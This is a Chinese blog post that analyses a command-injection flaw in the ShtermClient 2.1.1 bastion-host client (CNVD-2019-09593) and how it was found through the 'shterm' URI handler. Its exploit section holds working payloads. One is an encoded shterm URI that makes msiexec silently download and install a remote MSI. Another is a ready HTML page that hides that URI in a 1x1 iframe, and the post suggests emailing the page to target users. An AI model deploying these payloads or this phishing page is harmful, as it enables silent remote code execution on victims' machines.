齐治堡垒机ShtermClient2.1.1命令执行漏洞(CNVD201909593)分析

一、基本信息

参考:https://www.cnvd.org.cn/flaw/show/1559039

补丁信息:该漏洞的修复补丁已于2019年4月1日发布。如果客户尚未修复该补丁,可联系齐治科技的技术支持人员获得具体帮助。

二、漏洞挖掘过程

这是我第一次接触运维堡垒机,通过堡垒机登录目标服务器/应用,就像在本地直接打开一样,觉得很神奇。

1、挖掘过程

首先,在安装齐治运维堡垒机客户端软件ShtermClient后,会在计算机上注册一个伪协议“shterm”。堡垒机正是通过该协议,调用本地程序打开了连接到堡垒机的通道。如下图是chrome浏览器打开链接时的提示。

我们可以在注册表中找到它,Command子项指明了如何处理shterm协议的URI。

通过对该过程的抓包分析,发现将”app”:”mstsc”改为”app”:”calc”,生成的shterm URI即可打开本地的计算器。一度认为命令只能注入app参数,后来使用Procmon.exe监控LoadShell.exe的执行,发现会在%tmp%目录下生成一些日志文件,通过分析日志文件以及多次测试,得到了最终可行的利用方案。

Client/inflate.php源代码,可见服务端仅是将提交的数据,先进行压缩,在进行base64编码后即输出。

2、漏洞验证

如果你使用了存在漏洞的shtermclient,在浏览器中打开以下链接,将会在本机打开计算器calc.exe。

shterm://eJyrVkosKFCyUkpOzElWqgUAIf8Ejw==

三、漏洞利用

1、搭建测试环境

首先在靶机上安装ShtermClient-2.1.1。

然后,在kali上搭建PHP环境,以便生成shterm URI,见下图。

在靶机的浏览器中打开链接,即可弹出计算器。

2、Exploit

如下图,提交该POST请求,生成的shterm URI将会执行命令:

msiexec.exe /q /n /i https://github.com/Yasushi/putty/archive/master.msi

然后,把shterm URI放入iframe中,将该html页面的地址通过邮件或者你能想到的其他途径发给目标用户,即可达到不可告人的目的。

<html>
<head>
<meta charset="utf-8" />
<title>demo</title></head>
<body>
<h1>demo</h1>
<h1>齐治堡垒机ShtermClient-2.1.1命令执行漏洞(CNVD-2019-09593)</h1>
<br><h1>Hacked by StudyCat</h1>
<iframe width="1" height="1" src="shterm://eJx1T8tqwzAQ/BWz5yC0tuu4uvWWQyAuDTm2yI9i48c6kt0klP57VzK4aaFCh5nZ2dndTygvoKBRGCUJbKCsPdsmKRNtmViVPsZxHByOGaonSbv96fwsB0RMIva8a+9BKeIHgSl/FUb8XPvss0KGtlhhPo7LQDfODoxf6qkyfWboentbc8KtK7tt/khuniGa7KzLvhms06bftuA1+CeTK/e9TK03ckhb3XLSpqyJ2mVBFnsamokMKLkBdjlZslwVKxx/oO7WI7U/stBdweSj4gAIBQoXOZvufltM4esbMSFnCg=="></iframe>
</body>
</html>

 转载请注明出处。

原文地址:https://www.cnblogs.com/StudyCat/p/11201725.html